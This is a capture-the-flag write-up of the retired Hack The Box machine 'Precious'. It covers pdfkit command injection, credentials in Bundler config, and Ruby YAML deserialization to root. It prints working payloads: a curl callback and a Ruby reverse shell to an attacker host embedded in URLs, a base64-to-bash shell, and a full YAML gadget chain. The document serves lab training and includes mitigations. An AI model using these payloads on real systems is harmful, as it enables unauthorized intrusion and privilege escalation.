Precious
Quick facts
Section titled “Quick facts”| Platform | Hack The Box (retired) |
| OS | Linux (Debian) — precious.htb |
| Difficulty | Easy |
| Approx. time | ~30 min |
| Chain | pdfkit CVE-2022-25765 → shell as ruby → credentials in .bundle/config → SSH henry → sudo Ruby script with YAML.load → root |
flowchart TD A["Ruby web: URL → PDF<br/>pdfkit v0.8.6"] -->|URL with command substitution| B["CVE-2022-25765<br/>command injection"] B -->|reverse shell| C["Shell as ruby"] C -->|~/.bundle/config| D["henry credentials<br/>in plaintext"] D -->|SSH| E["henry (user.txt)"] E -->|sudo -l: Ruby script| F["YAML.load of dependencies.yml<br/>(relative path)"] F -->|deserialization payload| G["root"]
- A Ruby web app turns a URL into a PDF using pdfkit 0.8.6, vulnerable to CVE-2022-25765: if the URL carries a shell command substitution, it runs on the server. We get RCE and a reverse shell as the
rubyuser. ~/.bundle/configholds plaintext credentials forhenry, reused for SSH.henrycan run a Ruby script via sudo thatYAML.loads adependencies.ymlreferenced by a relative path. We drop a maliciousdependencies.ymlin our directory and the unsafe deserialization gives execution as root.
1. Reconnaissance
Section titled “1. Reconnaissance”-
Port scan
What I do:
Ventana de terminal IP=<target_ip>ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)sudo nmap -sCV -p$ports $IP -oN nmap/targetedWhat I see:
22/tcp open ssh OpenSSH80/tcp open http nginx — Phusion PassengerWhat I think: SSH and an nginx with Phusion Passenger, an app server that usually serves Ruby/Rails apps. I add
precious.htbto/etc/hostsand head to port 80. → Network service enumeration
2. Initial access: pdfkit command injection
Section titled “2. Initial access: pdfkit command injection”-
Understand the application
What I do: the web app takes a URL and returns a PDF. I send a URL pointing at my own server (
python3 -m http.server) and inspect the response headers with Burp or devtools.What I see: the
X-Runtimeheader confirms Ruby. The generated PDF, inspected withexiftool, hasCreator→pdfkit v0.8.6.What I think: the app passes my URL to
pdfkitto render it. A specific library version is a direct lead: I search forpdfkit 0.8.6 vulnerability. -
Locate the vulnerability: CVE-2022-25765
What I think:
pdfkit≤ 0.8.7 allows command injection when the URL passed to it contains a shell command substitution (CVE-2022-25765). Thewkhtmltopdfbinary is invoked in a way that the parameter is not sanitized, so`command`runs on the server. → Command injection -
Test RCE
What I do: the app validates the URL format minimally, so I send a syntactically valid URL with the payload embedded and stand up a server to catch the callback.
Ventana de terminal python3 -m http.server 80 # on my box (attacker = $LHOST)In the URL field:
http://test.local/%20`curl http://$LHOST/test`What I see: a request to
/testhits my server → RCE confirmed.Why it works: the
%20(space) separates the URL from the backtick.pdfkitbuilds the command line by concatenating the URL unescaped, and the shell runs what’s between backticks before callingwkhtmltopdf. -
Reverse shell
What I do: I use a Ruby payload (the app is already Ruby; bash works too) Base64-encoded to dodge problematic characters.
Ventana de terminal nc -lvnp 4444 # on my boxCleartext payload:
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("<LHOST>",4444))'In the URL field, with the payload in Base64:
http://test.local/%20`echo <BASE64_PAYLOAD> | base64 -d | bash`What I see: a shell as the
rubyuser. I stabilize it:Ventana de terminal python3 -c 'import pty;pty.spawn("/bin/bash")'
3. Lateral movement: credentials in .bundle/config
Section titled “3. Lateral movement: credentials in .bundle/config”-
Hunt for secrets in the home directory
What I do:
Ventana de terminal cat ~/.bundle/configWhat I see:
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"What I think:
~/.bundle/configstores Bundler options, including Gem source credentials in plaintext. Here there’s a username/password forhenry. Password reuse is the norm: I try those credentials over SSH. → Credential hunting and reuse -
SSH as henry
What I do:
Ventana de terminal ssh henry@$IP# Q3c1AqGHtoI0aXAYFHcat /home/henry/user.txtWhat I see: access granted.
user.txt→abcd…wxyz(redacted).
4. Privilege escalation: unsafe YAML deserialization
Section titled “4. Privilege escalation: unsafe YAML deserialization”-
Check sudo
What I do:
Ventana de terminal sudo -lWhat I see:
henrycan run a Ruby script as root, e.g.(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb.What I think: a script running as root that I can’t edit but can run. The key is what data it reads. → Sudo abuse
-
Read the script
What I see (snippet):
require "yaml"require 'rubygems'def list_from_fileYAML.load(File.read("dependencies.yml"))endWhat I think: two critical things:
dependencies.ymlis referenced by a relative path → the script looks for it in the current directory, which I control.- It uses
YAML.loadon that file. The Ruby docs warn: “Do not use YAML to load untrusted data” —YAML.load(unlikesafe_load) instantiates arbitrary objects, which allows code execution. → Unsafe deserialization
-
Prepare the deserialization payload
What I do: in a writable directory (e.g.
/tmpor my home), I createdependencies.ymlwith a Ruby deserialization gadget valid for the installed version (2.0–3.0). First I verify withid:--- !ruby/object:Gem::Installeri: x--- !ruby/object:Gem::SpecFetcheri: y--- !ruby/object:Gem::Requirementrequirements:!ruby/object:Gem::Package::TarReaderio: &1 !ruby/object:Net::BufferedIOio: &1 !ruby/object:Gem::Package::TarReader::Entryread: 0header: "abc"debug_output: &1 !ruby/object:Net::WriteAdaptersocket: &1 !ruby/object:Gem::RequestSetsets: !ruby/object:Net::WriteAdaptersocket: !ruby/module 'Kernel'method_id: :systemgit_set: idmethod_id: :resolveWhat I do:
Ventana de terminal cd /tmp && nano dependencies.yml # paste the gadgetsudo /usr/bin/ruby /opt/update_dependencies.rbWhat I see:
idruns as root → the gadget chain works.Why it works:
YAML.loadreconstructs the objects described in the YAML. The gadget chains methods until it reachesKernel.system, executing whatever we put ingit_set. It’s code execution through deserialization, not a flaw in the script’s logic. -
From
idto rootWhat I do: I change
git_setto a reverse shell (same technique as before) and re-run with a listener ready:git_set: echo <BASE64_PAYLOAD> | base64 -d | bashVentana de terminal nc -lvnp 4444 # on my boxsudo /usr/bin/ruby /opt/update_dependencies.rbcat /root/root.txtWhat I see: a shell as root.
root.txt→abcd…wxyz(redacted).
Progressive hints
Section titled “Progressive hints”The web app generates PDFs. Which library builds them, and what version? Check the PDF metadata.
That library version has an injection CVE. How do you slip a command into a validly-formatted URL?
You’re ruby, not henry. Where does Bundler store its Gem source credentials?
The sudo script loads a YAML by relative path. What’s dangerous about YAML.load?
Dead ends
Section titled “Dead ends”| What I tried | Result | How I ruled it out |
|---|---|---|
| The advisory’s literal pdfkit PoC | Blocked by URL validation | A syntactically valid URL before the backtick was needed |
SSH brute force for henry |
Unnecessary and ineffective | The credential was in .bundle/config |
YAML.safe_load as a route |
N/A | The script uses YAML.load, which is the unsafe one |
Methodology takeaways
Section titled “Methodology takeaways”- A service that generates files → check its metadata (
exiftool). TheCreator/Producertag gives away the library and version. - A specific library version → look up its CVE before improvising. pdfkit 0.8.6 → CVE-2022-25765 directly.
- First shell → comb the home directory:
.bundle,.git,.config,.ssh, histories. Plaintext credentials are the most common lateral path. sudo -lfirst, always. A sudo script that reads a file by relative path is near-certain escalation if you control the directory.YAML.load/pickle/unserializeon data you control = RCE. Recognize the unsafe-deserialization pattern in any language.
Detection and mitigation
Section titled “Detection and mitigation”| Phase | Detection | Mitigation |
|---|---|---|
| pdfkit command injection | nginx/Passenger logs with URLs containing backticks or $(); unexpected wkhtmltopdf child processes |
Update pdfkit > 0.8.7; validate/escape the URL; don’t pass user input to the shell |
Credentials in .bundle/config |
Review of config files holding secrets; reuse detection | Don’t store cleartext credentials; use a secrets manager; don’t reuse passwords across services |
| YAML deserialization in sudo | auditd on the script’s root execution and reads of dependencies.yml |
YAML.safe_load; absolute path to the data file; don’t grant sudo over scripts that load controllable data |
References
Section titled “References”- CVE-2022-25765 — pdfkit command injection (NVD): https://nvd.nist.gov/vuln/detail/CVE-2022-25765
- Ruby —
Psych/YAMLsecurity notes: https://ruby-doc.org/stdlib/libdoc/psych/rdoc/Psych.html - GitHub Security Advisory — pdfkit (GHSA): https://github.com/pdfkit/pdfkit/security/advisories